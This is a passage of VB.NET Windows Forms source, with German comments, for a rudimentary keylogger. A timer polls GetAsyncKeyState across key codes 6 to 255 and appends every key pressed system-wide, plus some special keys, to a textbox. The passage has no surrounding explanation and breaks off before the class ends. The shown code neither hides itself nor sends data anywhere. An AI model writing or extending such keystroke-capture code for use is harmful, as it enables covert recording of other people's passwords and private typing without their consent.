Imports System.Web
Imports System.IO
Imports System.Text
 
Public Class Form1
 
    Inherits System.Windows.Forms.Form
 
    Dim result As Integer
 
    Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As _
      Integer) As Short
    'Declare Function GetAsyncKeyState1 Lib "user32.dll" (ByVal nVirtKey As 
    ' Keys) As Short
 
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As _
      System.EventArgs) Handles MyBase.Load
        Timer1.Enabled = True
    End Sub
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As _
      System.EventArgs) Handles Timer1.Tick
 
        'Durchlauf aller Zeichen der Tastatur ohne Maus:
        For i = 6 To 255
            result = 0
            result = GetAsyncKeyState(i) 'ermittelt den Buchstaben
 
            'If-Abfrage für Sonderzeichen:
 
            If GetAsyncKeyState(Keys.OemPeriod) = -32767 Then
                TextBox1.Text = TextBox1.Text + "."
 
            ElseIf GetAsyncKeyState(Keys.Enter) = -32767 Then
                TextBox1.Text = TextBox1.Text + " "
 
            ElseIf GetAsyncKeyState(Keys.OemMinus) = -32767 Then
                TextBox1.Text = TextBox1.Text + "-/_"
 
            ElseIf GetAsyncKeyState(Keys.NumPad0) = -32767 Then
                TextBox1.Text = TextBox1.Text + "0"
 
            ElseIf GetAsyncKeyState(Keys.NumPad1) = -32767 Then
                TextBox1.Text = TextBox1.Text + "1"
 
            ElseIf GetAsyncKeyState(Keys.NumPad2) = -32767 Then
                TextBox1.Text = TextBox1.Text + "2"
 
            ElseIf GetAsyncKeyState(Keys.NumPad3) = -32767 Then
                TextBox1.Text = TextBox1.Text + "3"
 
            ElseIf GetAsyncKeyState(Keys.NumPad4) = -32767 Then
                TextBox1.Text = TextBox1.Text + "4"
 
            ElseIf GetAsyncKeyState(Keys.NumPad5) = -32767 Then
                TextBox1.Text = TextBox1.Text + "5"
 
            ElseIf GetAsyncKeyState(Keys.NumPad6) = -32767 Then
                TextBox1.Text = TextBox1.Text + "6"
 
            ElseIf GetAsyncKeyState(Keys.NumPad7) = -32767 Then
                TextBox1.Text = TextBox1.Text + "7"
 
            ElseIf GetAsyncKeyState(Keys.NumPad8) = -32767 Then
                TextBox1.Text = TextBox1.Text + "8"
 
            ElseIf GetAsyncKeyState(Keys.NumPad9) = -32767 Then
                TextBox1.Text = TextBox1.Text + "9"
 
            ElseIf GetAsyncKeyState(Keys.Oemcomma) = -32767 Then
                TextBox1.Text = TextBox1.Text
 
            ElseIf GetAsyncKeyState(Keys.LControlKey) = -32767 Then
                TextBox1.Text = TextBox1.Text
 
            ElseIf GetAsyncKeyState(Keys.ControlKey) = -32767 Then
                TextBox1.Text = TextBox1.Text
 
            ElseIf GetAsyncKeyState(Keys.RControlKey) = -32767 Then
                TextBox1.Text = TextBox1.Text
 
            ElseIf GetAsyncKeyState(Keys.Tab) = -32767 Then
                TextBox1.Text = TextBox1.Text
 
            ElseIf GetAsyncKeyState(Keys.CapsLock) = -32767 Then
                TextBox1.Text = TextBox1.Text
 
            ElseIf GetAsyncKeyState(Keys.Back) = -32767 Then
                TextBox1.Text = TextBox1.Text
 
            ElseIf GetAsyncKeyState(Keys.Delete) = -32767 Then
                TextBox1.Text = TextBox1.Text
 
            ElseIf GetAsyncKeyState(Keys.Insert) = -32767 Then
                TextBox1.Text = TextBox1.Text
 
            ElseIf GetAsyncKeyState(Keys.Escape) = -32767 Then
                TextBox1.Text = TextBox1.Text
 
            End If
 
            'Bei bekannter Taste:
            If result = -32767 Then  'wurde eine bekannte Taste gedrückt, wird 
            ' diese in der TextBox ausgegeben
                TextBox1.Text = TextBox1.Text + Chr(i).ToString
            End If
            'Schleifenende:
        Next i